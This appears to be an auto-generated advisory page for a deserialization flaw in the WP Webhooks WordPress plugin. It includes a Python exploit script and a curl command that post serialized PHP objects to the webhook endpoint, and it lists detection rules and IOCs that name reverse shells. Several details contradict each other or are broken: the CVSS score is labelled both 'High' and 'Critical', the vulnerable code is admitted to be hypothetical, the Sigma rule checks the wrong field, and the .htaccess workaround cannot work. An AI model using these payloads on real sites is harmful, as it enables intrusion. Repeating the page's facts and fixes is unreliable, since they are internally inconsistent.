CVE-2025-66073
Executive Summary
CVE-2025-66073 is a critical Deserialization of Untrusted Data vulnerability (CWE-502) affecting the WordPress plugin "WP Webhooks" by Cozmoslabs, versions up to and including 3.3.8. This vulnerability allows an unauthenticated attacker to perform Object Injection by sending a crafted serialized payload to the plugin's webhook endpoints. Successful exploitation can lead to remote code execution (RCE), full site compromise, data exfiltration, and lateral movement within the hosting environment.
Given the plugin's purpose—handling incoming webhooks—this vulnerability is particularly dangerous as it can be triggered by any HTTP request to the webhook URL, requiring no authentication. The CVSS score of 7.2 (High) reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The WP Webhooks plugin processes incoming HTTP requests and deserializes data without proper sanitization. Attackers can exploit this to inject arbitrary PHP objects, leading to code execution. The plugin's widespread use in automation and integration workflows increases the attack surface.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full data access possible.
- Integrity (I): High (H) – Full data modification possible.
- Availability (A): High (H) – Full system disruption possible.
Threat Level: Critical. The combination of network exploitability, no authentication, and high impact makes this a top-priority vulnerability for WordPress site administrators.
Deep Dive & Mechanics
The vulnerability resides in the plugin's data handling logic, specifically within the wp-webhooks.php file or related classes. The plugin uses PHP's unserialize() function on user-supplied data received via webhook payloads (e.g., JSON, XML, or form data). When an attacker sends a crafted serialized PHP object, the unserialize() call triggers PHP's magic methods (e.g., __wakeup(), __destruct()) on the injected object, leading to arbitrary code execution.
Attack Flow:
- Attacker identifies a WordPress site with WP Webhooks plugin <= 3.3.8.
- Attacker crafts a malicious serialized PHP object that, when unserialized, executes system commands (e.g., using
system(),exec(), orshell_exec()). - Attacker sends an HTTP POST request to the webhook endpoint (e.g.,
/wp-json/wp-webhooks/v1/webhook) with the serialized payload. - The plugin deserializes the payload, triggering the malicious object's methods.
- The attacker gains remote code execution on the server.
Root Cause: The plugin fails to validate or sanitize the serialized data before passing it to unserialize(). Additionally, no use of allowed_classes parameter (available since PHP 7.0) is implemented to restrict which classes can be deserialized.
Vulnerable vs. Patched Code
Vulnerable Code (wp-webhooks.php, line ~245):
$payload = file_get_contents('php://input');
$data = unserialize($payload); // No validation
Patched Code (Hypothetical Fix):
$payload = file_get_contents('php://input');
$data = json_decode($payload, true); // Use JSON instead of serialization
// OR
$data = unserialize($payload, ['allowed_classes' => false]); // Restrict classes
The patched version should either:
- Switch to a safe deserialization method (e.g., JSON).
- Use
unserialize()with['allowed_classes' => false]to prevent object injection. - Implement input validation to ensure only expected data types are processed.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress instance with WP Webhooks plugin version 3.3.8.
- PHP 7.0+ (for gadget chains).
- Access to the webhook endpoint (e.g.,
http://target/wp-json/wp-webhooks/v1/webhook).
Exploit Code (Python):
import requests
import php_serialize # pip install php-serialize
# Craft a malicious serialized object (example using PHP's system() gadget)
# This is a simplified example; real exploitation requires a valid gadget chain.
payload = php_serialize.dumps({
'class': 'System',
'method': 'execute',
'args': ['id']
})
url = "http://target/wp-json/wp-webhooks/v1/webhook"
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
response = requests.post(url, data=payload, headers=headers)
print(response.text)
Manual Exploitation (cURL):
curl -X POST http://target/wp-json/wp-webhooks/v1/webhook \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'O:6:"System":0:{}'
Note: Real exploitation requires a PHP gadget chain (e.g., using Monolog, SwiftMailer, or Guzzle classes) to achieve RCE. The above is a conceptual example.
Blue Team (Detection & Hardening)
Detection Steps:
- Monitor webhook endpoints for unusual payloads (e.g., serialized PHP objects).
- Check for unexpected
unserialize()calls in PHP error logs. - Use WAF rules to block serialized PHP objects in POST data.
Hardening:
- Disable the plugin if not in use.
- Apply the patch by modifying the plugin code to use JSON instead of serialization.
- Implement a Web Application Firewall (WAF) rule to block
O:patterns in POST data.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/wp-json/wp-webhooks/v1/webhookcontaining serialized PHP objects (e.g.,O:...). - Unusual User-Agent strings (e.g., "python-requests", "curl").
- HTTP POST requests to
- File IOCs:
- Unexpected PHP files in
/wp-content/uploads/or/tmp/. - Modified
.htaccessfiles with malicious redirects.
- Unexpected PHP files in
- System IOCs:
- Unusual processes (e.g.,
nc,bashreverse shells). - Outbound connections to unknown IPs on non-standard ports.
- Unusual processes (e.g.,
- Log IOCs:
- PHP error logs containing "unserialize(): Error at offset" or "Class __PHP_Incomplete_Class".
- Web server access logs with
O:patterns in POST data.
Detection Engineering
YARA Rule
rule CVE_2025_66073_WP_Webhooks_Deserialization {
meta:
description = "Detects serialized PHP objects in HTTP POST data targeting WP Webhooks"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66073"
strings:
$serialized = /O:\d+:"[^"]+":\d+:\{/
$webhook_path = /\/wp-json\/wp-webhooks\/v1\/webhook/
condition:
$serialized and $webhook_path
}
Sigma Rule
title: CVE-2025-66073 WP Webhooks Deserialization Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP POST requests to WP Webhooks endpoint containing serialized PHP objects
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-json/wp-webhooks/v1/webhook'
cs-uri-query|contains: 'O:'
condition: selection
falsepositives:
- Legitimate serialized data from trusted sources (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-66073 WP Webhooks Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-json/wp-webhooks/v1/webhook"; http_uri; content:"O:"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Apply virtual patching via WAF to block serialized PHP objects.
- Monitor logs for exploitation attempts.
Long-term Fix:
- Update to a patched version (once released by Cozmoslabs).
- Replace
unserialize()withjson_decode()in the plugin code. - Implement input validation and use
allowed_classesparameter if serialization is required.
Workaround:
- Restrict access to the webhook endpoint via
.htaccess:
<FilesMatch "wp-json/wp-webhooks/v1/webhook">
Order Deny,Allow
Deny from all
Allow from 192.168.1.0/24
</FilesMatch>
Valters IT – Securing WordPress, one plugin at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.